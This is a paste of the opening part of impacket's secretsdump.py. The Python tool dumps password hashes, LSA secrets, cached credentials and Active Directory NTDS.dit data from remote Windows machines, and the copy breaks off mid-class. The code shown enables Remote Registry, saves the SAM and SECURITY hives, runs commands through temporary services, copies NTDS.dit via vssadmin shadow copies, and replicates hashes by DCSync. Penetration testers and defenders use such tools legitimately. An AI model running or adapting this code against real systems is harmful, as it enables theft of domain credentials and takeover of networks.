· 8 years ago · Oct 11, 2017, 12:28 AM
1#!/usr/bin/python
2# Copyright (c) 2003-2016 CORE Security Technologies
3#
4# This software is provided under a slightly modified version
5# of the Apache Software License. See the accompanying LICENSE file
6# for more information.
7#
8# Description: Performs various techniques to dump hashes from the
9# remote machine without executing any agent there.
10# For SAM and LSA Secrets (including cached creds)
11# we try to read as much as we can from the registry
12# and then we save the hives in the target system
13# (%SYSTEMROOT%\\Temp dir) and read the rest of the
14# data from there.
15# For NTDS.dit we either:
16# a. Get the domain users list and get its hashes
17# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
18# call, replicating just the attributes we need.
19# b. Extract NTDS.dit via vssadmin executed with the
20# smbexec approach.
21# It's copied on the temp dir and parsed remotely.
22#
23# The script initiates the services required for its working
24# if they are not available (e.g. Remote Registry, even if it is
25# disabled). After the work is done, things are restored to the
26# original state.
27#
28# Author:
29# Alberto Solino (@agsolino)
30#
31# References: Most of the work done by these guys. I just put all
32# the pieces together, plus some extra magic.
33#
34# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
35# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
36# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
37# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
38# http://www.quarkslab.com/en-blog+read+13
39# https://code.google.com/p/creddump/
40# http://lab.mediaservice.net/code/cachedump.rb
41# http://insecurety.net/?p=768
42# http://www.beginningtoseethelight.org/ntsecurity/index.htm
43# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf
44# http://www.passcape.com/index.php?section=blog&cmd=details&id=15
45#
46from struct import unpack, pack
47from collections import OrderedDict
48from binascii import unhexlify, hexlify
49from datetime import datetime
50from multiprocessing import pool
51import sys
52import random
53import hashlib
54import argparse
55import logging
56import ntpath
57import time
58import string
59import codecs
60import os
61
62from impacket import system_errors
63from impacket.examples import logger
64from impacket import version, winregistry, ntlm
65from impacket.smbconnection import SMBConnection
66from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
67from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
68from impacket.winregistry import hexdump
69from impacket.structure import Structure
70from impacket.nt_errors import STATUS_MORE_ENTRIES
71from impacket.ese import ESENT_DB
72from impacket.dcerpc.v5.dtypes import NULL
73
74try:
75 from Crypto.Cipher import DES, ARC4, AES
76 from Crypto.Hash import HMAC, MD4
77except ImportError:
78 logging.critical("Warning: You don't have any crypto installed. You need PyCrypto")
79 logging.critical("See http://www.pycrypto.org/")
80
81
82# Structures
83# Taken from http://insecurety.net/?p=768
84class SAM_KEY_DATA(Structure):
85 structure = (
86 ('Revision','<L=0'),
87 ('Length','<L=0'),
88 ('Salt','16s=""'),
89 ('Key','16s=""'),
90 ('CheckSum','16s=""'),
91 ('Reserved','<Q=0'),
92 )
93
94class DOMAIN_ACCOUNT_F(Structure):
95 structure = (
96 ('Revision','<L=0'),
97 ('Unknown','<L=0'),
98 ('CreationTime','<Q=0'),
99 ('DomainModifiedCount','<Q=0'),
100 ('MaxPasswordAge','<Q=0'),
101 ('MinPasswordAge','<Q=0'),
102 ('ForceLogoff','<Q=0'),
103 ('LockoutDuration','<Q=0'),
104 ('LockoutObservationWindow','<Q=0'),
105 ('ModifiedCountAtLastPromotion','<Q=0'),
106 ('NextRid','<L=0'),
107 ('PasswordProperties','<L=0'),
108 ('MinPasswordLength','<H=0'),
109 ('PasswordHistoryLength','<H=0'),
110 ('LockoutThreshold','<H=0'),
111 ('Unknown2','<H=0'),
112 ('ServerState','<L=0'),
113 ('ServerRole','<H=0'),
114 ('UasCompatibilityRequired','<H=0'),
115 ('Unknown3','<Q=0'),
116 ('Key0',':', SAM_KEY_DATA),
117# Commenting this, not needed and not present on Windows 2000 SP0
118# ('Key1',':', SAM_KEY_DATA),
119# ('Unknown4','<L=0'),
120 )
121
122# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
123class USER_ACCOUNT_V(Structure):
124 structure = (
125 ('Unknown','12s=""'),
126 ('NameOffset','<L=0'),
127 ('NameLength','<L=0'),
128 ('Unknown2','<L=0'),
129 ('FullNameOffset','<L=0'),
130 ('FullNameLength','<L=0'),
131 ('Unknown3','<L=0'),
132 ('CommentOffset','<L=0'),
133 ('CommentLength','<L=0'),
134 ('Unknown3','<L=0'),
135 ('UserCommentOffset','<L=0'),
136 ('UserCommentLength','<L=0'),
137 ('Unknown4','<L=0'),
138 ('Unknown5','12s=""'),
139 ('HomeDirOffset','<L=0'),
140 ('HomeDirLength','<L=0'),
141 ('Unknown6','<L=0'),
142 ('HomeDirConnectOffset','<L=0'),
143 ('HomeDirConnectLength','<L=0'),
144 ('Unknown7','<L=0'),
145 ('ScriptPathOffset','<L=0'),
146 ('ScriptPathLength','<L=0'),
147 ('Unknown8','<L=0'),
148 ('ProfilePathOffset','<L=0'),
149 ('ProfilePathLength','<L=0'),
150 ('Unknown9','<L=0'),
151 ('WorkstationsOffset','<L=0'),
152 ('WorkstationsLength','<L=0'),
153 ('Unknown10','<L=0'),
154 ('HoursAllowedOffset','<L=0'),
155 ('HoursAllowedLength','<L=0'),
156 ('Unknown11','<L=0'),
157 ('Unknown12','12s=""'),
158 ('LMHashOffset','<L=0'),
159 ('LMHashLength','<L=0'),
160 ('Unknown13','<L=0'),
161 ('NTHashOffset','<L=0'),
162 ('NTHashLength','<L=0'),
163 ('Unknown14','<L=0'),
164 ('Unknown15','24s=""'),
165 ('Data',':=""'),
166 )
167
168class NL_RECORD(Structure):
169 structure = (
170 ('UserLength','<H=0'),
171 ('DomainNameLength','<H=0'),
172 ('EffectiveNameLength','<H=0'),
173 ('FullNameLength','<H=0'),
174 ('MetaData','52s=""'),
175 ('FullDomainLength','<H=0'),
176 ('Length2','<H=0'),
177 ('CH','16s=""'),
178 ('T','16s=""'),
179 ('EncryptedData',':'),
180 )
181
182
183class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
184 structure = (
185 ('Value','6s'),
186 )
187
188class SAMR_RPC_SID(Structure):
189 structure = (
190 ('Revision','<B'),
191 ('SubAuthorityCount','<B'),
192 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
193 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
194 ('SubAuthority',':'),
195 )
196
197 def formatCanonical(self):
198 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
199 for i in range(self['SubAuthorityCount']):
200 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
201 return ans
202
203class LSA_SECRET_BLOB(Structure):
204 structure = (
205 ('Length','<L=0'),
206 ('Unknown','12s=""'),
207 ('_Secret','_-Secret','self["Length"]'),
208 ('Secret',':'),
209 ('Remaining',':'),
210 )
211
212class LSA_SECRET(Structure):
213 structure = (
214 ('Version','<L=0'),
215 ('EncKeyID','16s=""'),
216 ('EncAlgorithm','<L=0'),
217 ('Flags','<L=0'),
218 ('EncryptedData',':'),
219 )
220
221class LSA_SECRET_XP(Structure):
222 structure = (
223 ('Length','<L=0'),
224 ('Version','<L=0'),
225 ('_Secret','_-Secret', 'self["Length"]'),
226 ('Secret', ':'),
227 )
228
229# Classes
230class RemoteFile:
231 def __init__(self, smbConnection, fileName):
232 self.__smbConnection = smbConnection
233 self.__fileName = fileName
234 self.__tid = self.__smbConnection.connectTree('ADMIN$')
235 self.__fid = None
236 self.__currentOffset = 0
237
238 def open(self):
239 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName)
240
241 def seek(self, offset, whence):
242 # Implement whence, for now it's always from the beginning of the file
243 if whence == 0:
244 self.__currentOffset = offset
245
246 def read(self, bytesToRead):
247 if bytesToRead > 0:
248 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
249 self.__currentOffset += len(data)
250 return data
251 return ''
252
253 def close(self):
254 if self.__fid is not None:
255 self.__smbConnection.closeFile(self.__tid, self.__fid)
256 self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
257 self.__fid = None
258
259 def tell(self):
260 return self.__currentOffset
261
262 def __str__(self):
263 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
264
265
266class RemoteOperations:
267 def __init__(self, smbConnection, doKerberos, kdcHost=None):
268 self.__smbConnection = smbConnection
269 self.__smbConnection.setTimeout(5*60)
270 self.__serviceName = 'RemoteRegistry'
271 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
272 self.__rrp = None
273 self.__regHandle = None
274
275 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
276 self.__samr = None
277 self.__domainHandle = None
278 self.__domainName = None
279
280 self.__drsr = None
281 self.__hDrs = None
282 self.__NtdsDsaObjectGuid = None
283 self.__ppartialAttrSet = None
284 self.__prefixTable = []
285 self.__doKerberos = doKerberos
286 self.__kdcHost = kdcHost
287
288 self.__bootKey = ''
289 self.__disabled = False
290 self.__shouldStop = False
291 self.__started = False
292
293 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
294 self.__scmr = None
295 self.__tmpServiceName = None
296 self.__serviceDeleted = False
297
298 self.__batchFile = '%TEMP%\\execute.bat'
299 self.__shell = '%COMSPEC% /Q /c '
300 self.__output = '%SYSTEMROOT%\\Temp\\__output'
301 self.__answerTMP = ''
302
303 def __connectSvcCtl(self):
304 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
305 rpc.set_smb_connection(self.__smbConnection)
306 self.__scmr = rpc.get_dce_rpc()
307 self.__scmr.connect()
308 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
309
310 def __connectWinReg(self):
311 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
312 rpc.set_smb_connection(self.__smbConnection)
313 self.__rrp = rpc.get_dce_rpc()
314 self.__rrp.connect()
315 self.__rrp.bind(rrp.MSRPC_UUID_RRP)
316
317 def connectSamr(self, domain):
318 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
319 rpc.set_smb_connection(self.__smbConnection)
320 self.__samr = rpc.get_dce_rpc()
321 self.__samr.connect()
322 self.__samr.bind(samr.MSRPC_UUID_SAMR)
323 resp = samr.hSamrConnect(self.__samr)
324 serverHandle = resp['ServerHandle']
325
326 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
327 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
328 self.__domainHandle = resp['DomainHandle']
329 self.__domainName = domain
330
331 def __connectDrds(self):
332 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
333 protocol='ncacn_ip_tcp')
334 rpc = transport.DCERPCTransportFactory(stringBinding)
335 if hasattr(rpc, 'set_credentials'):
336 # This method exists only for selected protocol sequences.
337 rpc.set_credentials(*(self.__smbConnection.getCredentials()))
338 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
339 self.__drsr = rpc.get_dce_rpc()
340 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
341 if self.__doKerberos:
342 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
343 self.__drsr.connect()
344 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
345
346 request = drsuapi.DRSBind()
347 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
348 drs = drsuapi.DRS_EXTENSIONS_INT()
349 drs['cb'] = len(drs) #- 4
350 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
351 drsuapi.DRS_EXT_STRONG_ENCRYPTION
352 drs['SiteObjGuid'] = drsuapi.NULLGUID
353 drs['Pid'] = 0
354 drs['dwReplEpoch'] = 0
355 drs['dwFlagsExt'] = 0
356 drs['ConfigObjGUID'] = drsuapi.NULLGUID
357 # I'm uber potential (c) Ben
358 drs['dwExtCaps'] = 0xffffffff
359 request['pextClient']['cb'] = len(drs)
360 request['pextClient']['rgb'] = list(str(drs))
361 resp = self.__drsr.request(request)
362 if logging.getLogger().level == logging.DEBUG:
363 logging.debug('DRSBind() answer')
364 resp.dump()
365
366 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
367 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
368 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
369
370 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
371 ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * (
372 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
373 drsExtensionsInt.fromString(ppextServer)
374
375 if drsExtensionsInt['dwReplEpoch'] != 0:
376 # Different epoch, we have to call DRSBind again
377 if logging.getLogger().level == logging.DEBUG:
378 logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
379 'dwReplEpoch'])
380 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
381 request['pextClient']['cb'] = len(drs)
382 request['pextClient']['rgb'] = list(str(drs))
383 resp = self.__drsr.request(request)
384
385 self.__hDrs = resp['phDrs']
386
387 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
388 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
389 if logging.getLogger().level == logging.DEBUG:
390 logging.debug('DRSDomainControllerInfo() answer')
391 resp.dump()
392
393 if resp['pmsgOut']['V2']['cItems'] > 0:
394 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
395 else:
396 logging.error("Couldn't get DC info for domain %s" % self.__domainName)
397 raise Exception('Fatal, aborting')
398
399 def getDrsr(self):
400 return self.__drsr
401
402 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
403 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
404 if self.__drsr is None:
405 self.__connectDrds()
406
407 logging.debug('Calling DRSCrackNames for %s ' % name)
408 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
409 return resp
410
411 def DRSGetNCChanges(self, userEntry):
412 if self.__drsr is None:
413 self.__connectDrds()
414
415 logging.debug('Calling DRSGetNCChanges for %s ' % userEntry)
416 request = drsuapi.DRSGetNCChanges()
417 request['hDrs'] = self.__hDrs
418 request['dwInVersion'] = 8
419
420 request['pmsgIn']['tag'] = 8
421 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
422 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
423
424 dsName = drsuapi.DSNAME()
425 dsName['SidLen'] = 0
426 dsName['Guid'] = drsuapi.NULLGUID
427 dsName['Sid'] = ''
428 dsName['NameLen'] = len(userEntry)
429 dsName['StringName'] = (userEntry + '\x00')
430
431 dsName['structLen'] = len(dsName.getData())
432
433 request['pmsgIn']['V8']['pNC'] = dsName
434
435 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
436 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
437
438 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
439
440 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
441 request['pmsgIn']['V8']['cMaxObjects'] = 1
442 request['pmsgIn']['V8']['cMaxBytes'] = 0
443 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
444 if self.__ppartialAttrSet is None:
445 self.__prefixTable = []
446 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
447 self.__ppartialAttrSet['dwVersion'] = 1
448 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
449 for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
450 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
451 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
452 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
453 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
454 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
455
456 return self.__drsr.request(request)
457
458 def getDomainUsers(self, enumerationContext=0):
459 if self.__samr is None:
460 self.connectSamr(self.getMachineNameAndDomain()[1])
461
462 try:
463 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
464 userAccountControl=samr.USER_NORMAL_ACCOUNT | \
465 samr.USER_WORKSTATION_TRUST_ACCOUNT | \
466 samr.USER_SERVER_TRUST_ACCOUNT |\
467 samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
468 enumerationContext=enumerationContext)
469 except DCERPCException, e:
470 if str(e).find('STATUS_MORE_ENTRIES') < 0:
471 raise
472 resp = e.get_packet()
473 return resp
474
475 def ridToSid(self, rid):
476 if self.__samr is None:
477 self.connectSamr(self.getMachineNameAndDomain()[1])
478 resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
479 return resp['Sid']
480
481
482 def getMachineNameAndDomain(self):
483 if self.__smbConnection.getServerName() == '':
484 # No serverName.. this is either because we're doing Kerberos
485 # or not receiving that data during the login process.
486 # Let's try getting it through RPC
487 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
488 rpc.set_smb_connection(self.__smbConnection)
489 dce = rpc.get_dce_rpc()
490 dce.connect()
491 dce.bind(wkst.MSRPC_UUID_WKST)
492 resp = wkst.hNetrWkstaGetInfo(dce, 100)
493 dce.disconnect()
494 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
495 'wki100_langroup'][:-1]
496 else:
497 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
498
499 def getDefaultLoginAccount(self):
500 try:
501 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
502 keyHandle = ans['phkResult']
503 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
504 username = dataValue[:-1]
505 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
506 domain = dataValue[:-1]
507 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
508 if len(domain) > 0:
509 return '%s\\%s' % (domain,username)
510 else:
511 return username
512 except:
513 return None
514
515 def getServiceAccount(self, serviceName):
516 try:
517 # Open the service
518 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
519 serviceHandle = ans['lpServiceHandle']
520 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
521 account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
522 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
523 if account.startswith('.\\'):
524 account = account[2:]
525 return account
526 except Exception, e:
527 logging.error(e)
528 return None
529
530 def __checkServiceStatus(self):
531 # Open SC Manager
532 ans = scmr.hROpenSCManagerW(self.__scmr)
533 self.__scManagerHandle = ans['lpScHandle']
534 # Now let's open the service
535 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
536 self.__serviceHandle = ans['lpServiceHandle']
537 # Let's check its status
538 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
539 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
540 logging.info('Service %s is in stopped state'% self.__serviceName)
541 self.__shouldStop = True
542 self.__started = False
543 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
544 logging.debug('Service %s is already running'% self.__serviceName)
545 self.__shouldStop = False
546 self.__started = True
547 else:
548 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
549
550 # Let's check its configuration if service is stopped, maybe it's disabled :s
551 if self.__started is False:
552 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
553 if ans['lpServiceConfig']['dwStartType'] == 0x4:
554 logging.info('Service %s is disabled, enabling it'% self.__serviceName)
555 self.__disabled = True
556 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
557 logging.info('Starting service %s' % self.__serviceName)
558 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
559 time.sleep(1)
560
561 def enableRegistry(self):
562 self.__connectSvcCtl()
563 self.__checkServiceStatus()
564 self.__connectWinReg()
565
566 def __restore(self):
567 # First of all stop the service if it was originally stopped
568 if self.__shouldStop is True:
569 logging.info('Stopping service %s' % self.__serviceName)
570 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
571 if self.__disabled is True:
572 logging.info('Restoring the disabled state for service %s' % self.__serviceName)
573 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
574 if self.__serviceDeleted is False:
575 # Check again the service we created does not exist, starting a new connection
576 # Why?.. Hitting CTRL+C might break the whole existing DCE connection
577 try:
578 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
579 if hasattr(rpc, 'set_credentials'):
580 # This method exists only for selected protocol sequences.
581 rpc.set_credentials(*self.__smbConnection.getCredentials())
582 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
583 self.__scmr = rpc.get_dce_rpc()
584 self.__scmr.connect()
585 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
586 # Open SC Manager
587 ans = scmr.hROpenSCManagerW(self.__scmr)
588 self.__scManagerHandle = ans['lpScHandle']
589 # Now let's open the service
590 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
591 service = resp['lpServiceHandle']
592 scmr.hRDeleteService(self.__scmr, service)
593 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
594 scmr.hRCloseServiceHandle(self.__scmr, service)
595 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
596 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
597 rpc.disconnect()
598 except Exception, e:
599 # If service is stopped it'll trigger an exception
600 # If service does not exist it'll trigger an exception
601 # So. we just wanna be sure we delete it, no need to
602 # show this exception message
603 pass
604
605 def finish(self):
606 self.__restore()
607 if self.__rrp is not None:
608 self.__rrp.disconnect()
609 if self.__drsr is not None:
610 self.__drsr.disconnect()
611 if self.__samr is not None:
612 self.__samr.disconnect()
613 if self.__scmr is not None:
614 self.__scmr.disconnect()
615
616 def getBootKey(self):
617 bootKey = ''
618 ans = rrp.hOpenLocalMachine(self.__rrp)
619 self.__regHandle = ans['phKey']
620 for key in ['JD','Skew1','GBG','Data']:
621 logging.debug('Retrieving class info for %s'% key)
622 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
623 keyHandle = ans['phkResult']
624 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
625 bootKey = bootKey + ans['lpClassOut'][:-1]
626 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
627
628 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
629
630 bootKey = unhexlify(bootKey)
631
632 for i in xrange(len(bootKey)):
633 self.__bootKey += bootKey[transforms[i]]
634
635 logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
636
637 return self.__bootKey
638
639 def checkNoLMHashPolicy(self):
640 logging.debug('Checking NoLMHash Policy')
641 ans = rrp.hOpenLocalMachine(self.__rrp)
642 self.__regHandle = ans['phKey']
643
644 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
645 keyHandle = ans['phkResult']
646 try:
647 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
648 except:
649 noLMHash = 0
650
651 if noLMHash != 1:
652 logging.debug('LMHashes are being stored')
653 return False
654
655 logging.debug('LMHashes are NOT being stored')
656 return True
657
658 def __retrieveHive(self, hiveName):
659 tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
660 ans = rrp.hOpenLocalMachine(self.__rrp)
661 regHandle = ans['phKey']
662 try:
663 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
664 except:
665 raise Exception("Can't open %s hive" % hiveName)
666 keyHandle = ans['phkResult']
667 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
668 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
669 rrp.hBaseRegCloseKey(self.__rrp, regHandle)
670 # Now let's open the remote file, so it can be read later
671 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
672 return remoteFileName
673
674 def saveSAM(self):
675 logging.debug('Saving remote SAM database')
676 return self.__retrieveHive('SAM')
677
678 def saveSECURITY(self):
679 logging.debug('Saving remote SECURITY database')
680 return self.__retrieveHive('SECURITY')
681
682 def __executeRemote(self, data):
683 self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
684 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
685 self.__shell + self.__batchFile
686 command += ' & ' + 'del ' + self.__batchFile
687
688 self.__serviceDeleted = False
689 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
690 lpBinaryPathName=command)
691 service = resp['lpServiceHandle']
692 try:
693 scmr.hRStartServiceW(self.__scmr, service)
694 except:
695 pass
696 scmr.hRDeleteService(self.__scmr, service)
697 self.__serviceDeleted = True
698 scmr.hRCloseServiceHandle(self.__scmr, service)
699 def __answer(self, data):
700 self.__answerTMP += data
701
702 def __getLastVSS(self):
703 self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
704 time.sleep(5)
705 tries = 0
706 while True:
707 try:
708 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
709 break
710 except Exception, e:
711 if tries > 30:
712 # We give up
713 raise Exception('Too many tries trying to list vss shadows')
714 if str(e).find('SHARING') > 0:
715 # Stuff didn't finish yet.. wait more
716 time.sleep(5)
717 tries +=1
718 pass
719 else:
720 raise
721
722 lines = self.__answerTMP.split('\n')
723 lastShadow = ''
724 lastShadowFor = ''
725
726 # Let's find the last one
727 # The string used to search the shadow for drive. Wondering what happens
728 # in other languages
729 SHADOWFOR = 'Volume: ('
730
731 for line in lines:
732 if line.find('GLOBALROOT') > 0:
733 lastShadow = line[line.find('\\\\?'):][:-1]
734 elif line.find(SHADOWFOR) > 0:
735 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
736
737 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
738
739 return lastShadow, lastShadowFor
740
741 def saveNTDS(self):
742 logging.info('Searching for NTDS.dit')
743 # First of all, let's try to read the target NTDS.dit registry entry
744 ans = rrp.hOpenLocalMachine(self.__rrp)
745 regHandle = ans['phKey']
746 try:
747 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
748 keyHandle = ans['phkResult']
749 except:
750 # Can't open the registry path, assuming no NTDS on the other end
751 return None
752
753 try:
754 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
755 ntdsLocation = dataValue[:-1]
756 ntdsDrive = ntdsLocation[:2]
757 except:
758 # Can't open the registry path, assuming no NTDS on the other end
759 return None
760
761 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
762 rrp.hBaseRegCloseKey(self.__rrp, regHandle)
763
764 logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
765 # Get the list of remote shadows
766 shadow, shadowFor = self.__getLastVSS()
767 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
768 # No shadow, create one
769 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
770 shadow, shadowFor = self.__getLastVSS()
771 shouldRemove = True
772 if shadow == '':
773 raise Exception('Could not get a VSS')
774 else:
775 shouldRemove = False
776
777 # Now copy the ntds.dit to the temp directory
778 tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
779
780 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
781
782 if shouldRemove is True:
783 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
784
785 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
786
787 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
788
789 return remoteFileName
790
791class CryptoCommon:
792 # Common crypto stuff used over different classes
793 def transformKey(self, InputKey):
